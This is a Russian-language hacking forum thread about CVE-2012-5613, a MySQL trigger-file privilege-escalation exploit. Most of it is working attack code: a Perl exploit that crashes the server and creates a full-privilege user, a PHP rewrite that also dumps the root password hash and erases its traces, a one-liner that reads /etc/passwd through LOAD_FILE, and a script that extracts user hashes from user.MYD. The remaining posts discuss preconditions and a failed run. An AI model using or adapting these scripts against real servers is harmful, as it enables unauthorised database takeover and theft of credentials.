Старый 02.12.2012, 18:22   #1
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию CVE: 2012-5613 MySQL (Linux) Database Privilege Elevation Zeroday Exploit

обязательно нужен file_priv

Код:
use DBI();
$|=1;
 $user = "root";
 $password = "root";
 $database = "phpmyadmin";
 $target = "127.0.0.1";
 $folder = "/var/lib/mysql/"; # Linux
 $newuser = "rootedbox2";
 $newuserpass = "rootedbox2";
 $mysql_version = "51"; # can be 51 or 50

 if ($mysql_version eq "50") {
 $inject =
 "select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY
 '\\ntriggers=\\'CREATE DEFINER=`root`\@`localhost` trigger atk after insert on rootme for each row\\\\nbegin \\\\nUPDATE
 mysql.user SET Select_priv=\\\\\\'Y\\\\\\', Insert_priv=\\\\\\'Y\\\\\\', Update_priv=\\\\\\'Y\\\\\\',
 Delete_priv=\\\\\\'Y\\\\\\', Create_priv=\\\\\\'Y\\\\\\', Drop_priv=\\\\\\'Y\\\\\\', Reload_priv=\\\\\\'Y\\\\\\',
 Shutdown_priv=\\\\\\'Y\\\\\\', Process_priv=\\\\\\'Y\\\\\\', File_priv=\\\\\\'Y\\\\\\', Grant_priv=\\\\\\'Y\\\\\\',
 References_priv=\\\\\\'Y\\\\\\', Index_priv=\\\\\\'Y\\\\\\', Alter_priv=\\\\\\'Y\\\\\\', Show_db_priv=\\\\\\'Y\\\\\\',
 Super_priv=\\\\\\'Y\\\\\\', Create_tmp_table_priv=\\\\\\'Y\\\\\\', Lock_tables_priv=\\\\\\'Y\\\\\\',
 Execute_priv=\\\\\\'Y\\\\\\', Repl_slave_priv=\\\\\\'Y\\\\\\', Repl_client_priv=\\\\\\'Y\\\\\\',
 Create_view_priv=\\\\\\'Y\\\\\\', Show_view_priv=\\\\\\'Y\\\\\\', Create_routine_priv=\\\\\\'Y\\\\\\',
 Alter_routine_priv=\\\\\\'Y\\\\\\', Create_user_priv=\\\\\\'Y\\\\\\', ssl_type=\\\\\\'Y\\\\\\',
 ssl_cipher=\\\\\\'Y\\\\\\', x509_issuer=\\\\\\'Y\\\\\\', x509_subject=\\\\\\'Y\\\\\\', max_questions=\\\\\\'Y\\\\\\',
 max_updates=\\\\\\'Y\\\\\\', max_connections=\\\\\\'Y\\\\\\' WHERE
 User=\\\\\\'$user\\\\\\';\\\\nend\\'\\nsql_modes=0\\ndefiners=\\'root\@localhost\\'\\nclient_cs_names=\\'latin1\\'\\ncon
 nection_cl_names=\\'latin1_swedish_ci\\'\\ndb_cl_names=\\'latin1_swedish_ci\\'\\n';";
 } else {
 $inject =
 "select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY
 '\\ntriggers=\\'CREATE DEFINER=`root`\@`localhost` trigger atk after insert on rootme for each row\\\\nbegin \\\\nUPDATE
 mysql.user SET Select_priv=\\\\\\'Y\\\\\\', Insert_priv=\\\\\\'Y\\\\\\', Update_priv=\\\\\\'Y\\\\\\',
 Delete_priv=\\\\\\'Y\\\\\\', Create_priv=\\\\\\'Y\\\\\\', Drop_priv=\\\\\\'Y\\\\\\', Reload_priv=\\\\\\'Y\\\\\\',
 Shutdown_priv=\\\\\\'Y\\\\\\', Process_priv=\\\\\\'Y\\\\\\', File_priv=\\\\\\'Y\\\\\\', Grant_priv=\\\\\\'Y\\\\\\',
 References_priv=\\\\\\'Y\\\\\\', Index_priv=\\\\\\'Y\\\\\\', Alter_priv=\\\\\\'Y\\\\\\', Show_db_priv=\\\\\\'Y\\\\\\',
 Super_priv=\\\\\\'Y\\\\\\', Create_tmp_table_priv=\\\\\\'Y\\\\\\', Lock_tables_priv=\\\\\\'Y\\\\\\',
 Execute_priv=\\\\\\'Y\\\\\\', Repl_slave_priv=\\\\\\'Y\\\\\\', Repl_client_priv=\\\\\\'Y\\\\\\',
 Create_view_priv=\\\\\\'Y\\\\\\', Show_view_priv=\\\\\\'Y\\\\\\', Create_routine_priv=\\\\\\'Y\\\\\\',
 Alter_routine_priv=\\\\\\'Y\\\\\\', Create_user_priv=\\\\\\'Y\\\\\\', Event_priv=\\\\\\'Y\\\\\\',
 Trigger_priv=\\\\\\'Y\\\\\\', ssl_type=\\\\\\'Y\\\\\\', ssl_cipher=\\\\\\'Y\\\\\\', x509_issuer=\\\\\\'Y\\\\\\',
 x509_subject=\\\\\\'Y\\\\\\', max_questions=\\\\\\'Y\\\\\\', max_updates=\\\\\\'Y\\\\\\',
 max_connections=\\\\\\'Y\\\\\\' WHERE
 User=\\\\\\'$user\\\\\\';\\\\nend\\'\\nsql_modes=0\\ndefiners=\\'root\@localhost\\'\\nclient_cs_names=\\'latin1\\'\\ncon
 nection_cl_names=\\'latin1_swedish_ci\\'\\ndb_cl_names=\\'latin1_swedish_ci\\'\\n';";
 }

 print $inject;#exit;
 $inject2 =
 "SELECT 'TYPE=TRIGGERNAME\\ntrigger_table=rootme;' into outfile '".$folder.$database."/atk.TRN' FIELDS
 ESCAPED BY ''";

 my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",
 "$user", "$password",
 {'RaiseError' => 0});
 eval { $dbh->do("DROP TABLE rootme") };
 $dbh->do("CREATE TABLE rootme (rootme VARCHAR(256));");
 $dbh->do($inject);
 $dbh->do($inject2);

 $a = "A" x 10000;
 $dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");

 sleep(3);

 my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",
 "$user", "$password",
 {'RaiseError' => 0});

 $dbh->do("INSERT INTO rootme VALUES('ROOTED');");
 $dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");

 sleep(3);

 my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",
 "$user", "$password",
 {'RaiseError' => 0});

 $dbh->do("CREATE USER '$newuser'\@'%' IDENTIFIED BY '$newuserpass';");
 $dbh->do("GRANT ALL PRIVILEGES ON *.* TO '$newuser'\@'%' WITH GRANT OPTION;");
 $dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");

 sleep(3);

 my $dbh = DBI->connect("DBI:mysql:host=$target;",
 $newuser, $newuserpass,
 {'RaiseError' => 0});

 my $sth = $dbh->prepare("SELECT * FROM mysql.user");
 $sth->execute();

 print "W00TW00T!\n";

 while (my $ref = $sth->fetchrow_hashref()) {
 print "Found a row: id = $ref->{'User'}, name = $ref->{'Password'}\n";
 }
 $sth->finish();

Суть - повышаем привелегии до рута в mysql, требуется любое имя и пароль для входа в базу.

проверено на

Цитата:
Linux an 2.6.38-16-generic #67-Ubuntu SMP Thu Sep 6 18:00:43 UTC 2012 i686 athlon i386 GNU/Linux

Apache/2.2.17 (Ubuntu)
Версия MySQL-клиента: 5.1.63
PHP расширение: mysqli
сплойт создает юзера:

rootedbox2

с паролем:

rootedbox2

с правами рута

http://www.exploit-db.com/exploits/23077/

Последний раз редактировалось Pashkela; 02.12.2012 в 19:21..
Pashkela вне форума   Ответить с цитированием
Старый 02.12.2012, 19:07   #2
nobody
 
Аватар для nobody
 
Регистрация: 05.07.2010
Сообщений: 176
Репутация: 130
По умолчанию

Цитата:
Сообщение от Pashkela Посмотреть сообщение
Суть - повышаем привелегии до рута в mysql, требуется любое имя и пароль для входа в базу.
Поправь пожалуйста, не любого, а обязательно нужен file_priv
__________________
Sad panda
nobody вне форума   Ответить с цитированием
Старый 02.12.2012, 19:19   #3
nickcerdito
 
Аватар для nickcerdito
 
Регистрация: 11.07.2012
Сообщений: 16
Репутация: 7
По умолчанию

Проверил, из любопытства, на FreeBSD 8.3-RELEASE-p4 и MySQL 5.1.66 - эксплоит рабочий, но как правильно заметил nobody, нужны FILE-привилегии, что в реальной жизни встречается редко.
nickcerdito вне форума   Ответить с цитированием
Старый 02.12.2012, 19:29   #4
nobody
 
Аватар для nobody
 
Регистрация: 05.07.2010
Сообщений: 176
Репутация: 130
По умолчанию

Ну да, kingcope выложил простыню и все "Ахнули" хотя по сути прикольно только эта фича с триггерами. Мега зиродей с виндами который он назвал "REMOTE ROOT windowsjackpot" я не понимаю вообще. Обычная udf на виндах где нужна и аутентификация и file_priv (тыц).
Buf overrun в GRANT - ну не знаю, где он реально заэксплоитит его. Учитывая SSP и прочие дефолтные пакости в пакетных сборках.

В общем зиродеи не ахти, но все таки порадовали
__________________
Sad panda
nobody вне форума   Ответить с цитированием
Старый 02.12.2012, 19:43   #5
nickcerdito
 
Аватар для nickcerdito
 
Регистрация: 11.07.2012
Сообщений: 16
Репутация: 7
По умолчанию

Вот так, по-быстрому, в одну строчку на баше, можно проверить наличие FILE-привилегий у конкретного пользователя:
Код:
echo 'SELECT(LOAD_FILE("/etc/passwd"));' | mysql -u USER -pPASS | if grep -q root; then echo "OK"; else echo "ERROR"; fi
Проверить через SHOW GRANTS, наверное правильнее, но через LOAD_FILE просто короче.
nickcerdito вне форума   Ответить с цитированием
Старый 02.12.2012, 22:56   #6
Abadd0N
 
Регистрация: 04.11.2011
Сообщений: 29
Репутация: 0
По умолчанию

Цитата:
Обычная udf на виндах где нужна и аутентификация и file_priv (тыц).
Не совсем так. Нужен file_priv и либо аутентификация, либо стековые запросы. Так что если mysqli или win+asp6, то аутентификация не нужна.
Abadd0N вне форума   Ответить с цитированием
Старый 03.12.2012, 01:31   #7
nickcerdito
 
Аватар для nickcerdito
 
Регистрация: 11.07.2012
Сообщений: 16
Репутация: 7
По умолчанию

Переписал эксплоит на PHP, так как возможность запустить perl-скрипт есть далеко не на каждом сервере, а мой вариант работает даже из веба.

+ не нужно указывать версию mysql и путь к datadir
+ корректно обрабатываются ошибки отсутствия FILE-привилегий, низкой версии mysql, итд
+ убираются следы работы эксплоита: удаляются триггеры, восстанавливаются права (в оригинальной версии не только добавляется новый пользователь, но и у sql-юзера запускающего скрипт, повышаются права до ALL PRIVILEGES)

PHP код:
<?php
# CVE-2012-5613

ini_set('error_reporting'0);

$dbUser "test";
$dbPass "test";
$dbName "test";
$dbHost "localhost";

$newUser "toor";
$newUserPass "toor";

$crashTimeout 5;

echo 
"[~] Reading MySQL variables\n";

$dbLink mysql_connect($dbHost$dbUser$dbPass) or die('[#] Error: '.mysql_error());
mysql_select_db($dbName) or die('[#] Error: '.mysql_error());

$result mysql_query('select @@datadir, @@version') or die('[#] Error: '.mysql_error());
list(
$dbFolder$dbVersion) = mysql_fetch_row($result);

echo 
"[~] Getting perms for user `$dbUser`\n";
$result mysql_query("SHOW GRANTS FOR $dbUser@localhost;") or die('[#] Error: '.mysql_error());
while (
$row mysql_fetch_row($result)) {
    
$userPerms[] = $row[0];
}

if(!
strpos(implode($userPerms), 'FILE')) {
    die(
"[#] Error: user `$dbUser` doesn't have FILE privileges\n");
}

echo 
"[~] Checking MySQL version\n";

// 4.0.11, 5.0.17, 5.1.66, 5.5.30, etc.
// addFields - version-specific fields
if($dbVersion[0] < 5) {
    die(
"[#] Wrong MySQL version: $dbVersion\n");
}
elseif(
strpos('5.0'$dbVersion) === true) {
   
$addFields '';
}
else {
  
$addFields "Event_priv=\\\\\\'Y\\\\\\', Trigger_priv=\\\\\\'Y\\\\\\', ";
}
echo 
"[*] MySQL version: $dbVersion\n";

echo 
"[~] Creating `rootme` table \n";
mysql_query('DROP TABLE rootme');
mysql_query('CREATE TABLE rootme (rootme VARCHAR(256));') or die('[#] Error: '.mysql_error());


echo 
"[~] Injecting triggers code\n";
$inject1 "SELECT 'TYPE=TRIGGERS' into outfile '${dbFolder}${dbName}/rootme.TRG' LINES TERMINATED BY '\\ntriggers=\\'CREATE DEFINER=`root`\@`localhost` trigger atk after insert on rootme for each row\\\\nbegin \\\\nUPDATE mysql.user SET Select_priv=\\\\\\'Y\\\\\\', Insert_priv=\\\\\\'Y\\\\\\', Update_priv=\\\\\\'Y\\\\\\', Delete_priv=\\\\\\'Y\\\\\\', Create_priv=\\\\\\'Y\\\\\\', Drop_priv=\\\\\\'Y\\\\\\', Reload_priv=\\\\\\'Y\\\\\\', Shutdown_priv=\\\\\\'Y\\\\\\', Process_priv=\\\\\\'Y\\\\\\', File_priv=\\\\\\'Y\\\\\\', Grant_priv=\\\\\\'Y\\\\\\', References_priv=\\\\\\'Y\\\\\\', Index_priv=\\\\\\'Y\\\\\\', Alter_priv=\\\\\\'Y\\\\\\', Show_db_priv=\\\\\\'Y\\\\\\', Super_priv=\\\\\\'Y\\\\\\', Create_tmp_table_priv=\\\\\\'Y\\\\\\', Lock_tables_priv=\\\\\\'Y\\\\\\', Execute_priv=\\\\\\'Y\\\\\\', Repl_slave_priv=\\\\\\'Y\\\\\\', Repl_client_priv=\\\\\\'Y\\\\\\', Create_view_priv=\\\\\\'Y\\\\\\', Show_view_priv=\\\\\\'Y\\\\\\', Create_routine_priv=\\\\\\'Y\\\\\\', Alter_routine_priv=\\\\\\'Y\\\\\\', Create_user_priv=\\\\\\'Y\\\\\\', ${addFields}ssl_type=\\\\\\'Y\\\\\\', ssl_cipher=\\\\\\'Y\\\\\\', x509_issuer=\\\\\\'Y\\\\\\', x509_subject=\\\\\\'Y\\\\\\', max_questions=\\\\\\'Y\\\\\\', max_updates=\\\\\\'Y\\\\\\', max_connections=\\\\\\'Y\\\\\\' WHERE User=\\\\\\'$dbUser\\\\\\';\\\\nend\\'\\nsql_modes=0\\ndefiners=\\'root\@localhost\\'\\nclient_cs_names=\\'latin1\\'\\nconnection_cl_names=\\'latin1_swedish_ci\\'\\ndb_cl_names=\\'latin1_swedish_ci\\'\\n';";
$inject2 "SELECT 'TYPE=TRIGGERNAME\\ntrigger_table=rootme;' into outfile '${dbFolder}${dbName}/atk.TRN' FIELDS ESCAPED BY ''";
mysql_query($inject1) or die('[#] Error: '.mysql_error());
mysql_query($inject2) or die('[#] Error: '.mysql_error());

crashServer($crashTimeout);
mysql_close($dbLink);

echo 
"[~] Inserting data in `rootme`\n";
$dbLink mysql_connect($dbHost$dbUser$dbPass) or die('[#] Error: '.mysql_error());
mysql_select_db($dbName) or die('[#] Error: '.mysql_error());
mysql_query("INSERT INTO rootme VALUES('ROOTED');") or die('[#] Error: '.mysql_error());

crashServer($crashTimeout);
mysql_close($dbLink);

echo 
"[~] Creating new user\n";
$dbLink mysql_connect($dbHost$dbUser$dbPass) or die('[#] Error: '.mysql_error());
mysql_select_db($dbName) or die('[#] Error: '.mysql_error());

mysql_query("CREATE USER '$newUser'@'%' IDENTIFIED BY '$newUserPass';") or die('[#] Error: '.mysql_error());
mysql_query("GRANT ALL PRIVILEGES ON *.* TO '$newUser'@'%' WITH GRANT OPTION;") or die('[#] Error: '.mysql_error());

echo 
"[~] Fetching `root` password\n";
$dbLink mysql_connect($dbHost$newUser$newUserPass) or die('[#] Error: '.mysql_error());
mysql_select_db($dbName) or die('[#] Error: '.mysql_error());
$result mysql_query("SELECT * FROM mysql.user where User='root'") or die('[#] Error: '.mysql_error());
while (
$row mysql_fetch_assoc($result)) {
    echo 
$row['User'] . ':' $row['Password'] . PHP_EOL;
}

echo 
"[~] Restoring perms for `$dbUser`\n";
mysql_query('DROP TABLE rootme') or die('[#] Error: '.mysql_error());;
mysql_query("REVOKE ALL PRIVILEGES, GRANT OPTION FROM '$dbUser'@'localhost'") or die('[#] Error: '.mysql_error());
foreach(
$userPerms as $sql) {
    
mysql_query($sql) or die('[#] Error: '.mysql_error());
}

mysql_close();


function 
crashServer($crashTimeout) {

    echo 
"[~] Crashing MySQL server\n";

    
$filler =  sprintf("%'A10000s"'');
    
mysql_query("grant all on $filler.* to 'user'@'%' identified by 'secret';");

    if(
strpos(mysql_error(), 'gone away')) {
    echo 
"[*] MySQL server has gone away, waiting ${crashTimeout}s\n";
    }
    else {
    die(
"[#] Error: can't crash MySQL server\n");
    }
    unset(
$filler);
    
sleep($crashTimeout);
}
Код:
[~] Reading MySQL variables
[~] Getting perms for user `test`
[~] Checking MySQL version cf
[#] MySQL version: 5.1.66
[~] Creating `rootme` table 
[~] Injecting triggers code
[~] Crashing MySQL server
[#] MySQL server has gone away, waiting 5s
[~] Inserting data in `rootme`
[~] Crashing MySQL server
[#] MySQL server has gone away, waiting 5s
[~] Creating new user
[~] Fetching `root` password
root:*52E94CE12F1831B93A562D194CED29AE64486F2D
[~] Restoring perms for `test`
В текущем виде создает пользователя toor@% с паролем toor и показывает хеш рутового пароля.

Последний раз редактировалось nickcerdito; 03.12.2012 в 01:36..
nickcerdito вне форума   Ответить с цитированием
Старый 04.12.2012, 09:38   #8
molotov505
 
Регистрация: 16.11.2012
Сообщений: 5
Репутация: 0
По умолчанию

не сработало ((

nection_cl_names=\'latin1_swedish_ci\'\ndb_cl_name s=\'latin1_swedish_ci\'\n';File '/usr/share/mysql/charsets/?.conf' not found (Errcode: 2)
Character set '#51' is not a compiled character set and is not specified in the '/usr/share/mysql/charsets/Index' file
File '/usr/share/mysql/charsets/?.conf' not found (Errcode: 2)
Character set '#51' is not a compiled character set and is not specified in the '/usr/share/mysql/charsets/Index' file
DBD::mysql::db do failed: Unknown column 'Show_db_priv' in 'field list' at 1.pl line 97.
File '/usr/share/mysql/charsets/?.conf' not found (Errcode: 2)
Character set '#51' is not a compiled character set and is not specified in the '/usr/share/mysql/charsets/Index' file
DBD::mysql::db do failed: Operation CREATE USER failed for 'rootedbox2'@'%' at 1.pl line 106.
File '/usr/share/mysql/charsets/?.conf' not found (Errcode: 2)
Character set '#51' is not a compiled character set and is not specified in the '/usr/share/mysql/charsets/Index' file
DBI connect('host=127.0.0.1;','rootedbox2',...) failed: Access denied for user 'rootedbox2'@'localhost' (using password: YES) at 1.pl line 112
Can't call method "prepare" on an undefined value at 1.pl line 116.
molotov505 вне форума   Ответить с цитированием
Старый 05.12.2012, 17:12   #9
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

накодил хуйню для чтения файла user.MYD и вывода списка хост:юзер:хэш, может, пригодится кому. естественно, нужна FILE привилегия

Код:
 <?php
// пейсалi всeї домагої
$host="localhost"; 
$port="3306";
$db="loltest"; # db for loading file contents. $user must have privileges to write in it:
## mysql -u root -p
## create database loltest;
## create user "loltest"@"localhost" identified by "asdasdasdasd";
## grant all privileges on loltest.* to "loltest"@"localhost";
## grant FILE on *.* to "loltest"@"localhost";
## flush privileges;
$user="loltest"; # user with FILE privilege
$pass="asdasdasdasd";
$file="/var/lib/mysql/mysql/user.MYD"; # change to correct path if it differs
echo "-> connecting.. ";
$link=mysql_connect("".$host.":".$port."",$user,$pass) or die("cant connect: ".mysql_error()."\n");
echo "OK\n-> trying to select `mysql` db.. ";
$rez=mysql_select_db("mysql");
if (!$rez) {
 echo "OK, \$user $user has no access to `mysql`, proceeding..\n";
} else {
 echo "\$user $user has access to `mysql`!\n"; # so why do you need this "exploit"?
 die(11);
}
echo "-> selecting db.. ";
mysql_select_db($db) or die ("cannot select db: ".mysql_error()."\n");
echo "OK\n-> trying to drop old table.. ";
$rez=mysql_query("DROP TABLE file;");
if (!$rez) { echo "cannot drop table: ".mysql_error()."\n"; }
echo "OK\n-> creating table.. ";
mysql_query("CREATE TABLE `file` ( `text` LONGBLOB NOT NULL );") or die ("cannot create table: ".mysql_error()."\n");
echo "OK\n-> reading file $file.. ";
mysql_query('LOAD DATA INFILE "'.$file.'" INTO TABLE file LINES TERMINATED BY "" (`text`);') or die ("cannot load data: ".mysql_error()."\n");
$rez=mysql_query("SELECT * FROM file;");
if (!$rez) { echo "fail. no FILE permission?\n"; }
else {
 for ($i=0;$i<mysql_num_fields($rez);$i++) {$name = mysql_field_name($rez,$i);}
 $data="";
 while ($row = mysql_fetch_array($rez, MYSQL_ASSOC)) {$data .= join ("\r\n",$row);}
 if (empty($data)) {
  echo "file does not exists or empty?\n";
 } else {
  echo "OK\n-> result:\n";
  $hex = "";
  $plain = "";
  for ($i=0; $i<strlen($data); $i++) {
   $hex .= sprintf("%02X",ord($data[$i]))." ";
  }
 } 
 mysql_free_result($rez);
 mysql_query("DROP TABLE file;") or die("cannot drop table: ".mysql_error()."\n");
}
#echo " ------------- hex -------------\n".$hex."\n"; #debug
$plain=array();
preg_match_all("/FB 0F F. (.*?) 0(1|2) /s", $hex, $onlygood); # FB 0F F. = mysql row delimiter (?)
foreach ($onlygood[1] as $string) {
 $temp="";
 $charz=explode(" ",$string);
 foreach ($charz as $char) {
  switch ($char) {
   case "01": $temp .= ""; break;
   case "03": $temp .= " "; break;
   case "04": $temp .= " "; break;
   case "05": $temp .= " "; break;
   case "06": $temp .= " "; break;
   case "07": $temp .= " "; break;
   case "08": $temp .= " "; break;
   case "09": $temp .= " "; break;
   case "0A": $temp .= " "; break;
   case "0B": $temp .= " "; break;
   case "0C": $temp .= " "; break;
   case "0D": $temp .= " "; break;
   case "0E": $temp .= " "; break;
   case "0F": $temp .= " "; break;
   case "1A": $temp .= ""; break;                                               
   case "2A": $temp .= " *"; break;
   default: $temp .= chr(hexdec($char));
  }
 }
 $plain[]=$temp;
}
echo " ------------- plain users -------------\n";
foreach ($plain as $lol) {
 echo $lol."\n";
}
mysql_close($link);
echo "\nbl1ng bl1ng n1gg4 :PppPpPPpPPPpP\n";
12309 вне форума   Ответить с цитированием
Старый 07.12.2012, 11:30   #10
snake
 
Регистрация: 05.07.2010
Сообщений: 173
Репутация: 12
По умолчанию

зачем?(Там же просто открыть на просмотр и все видно..
snake вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot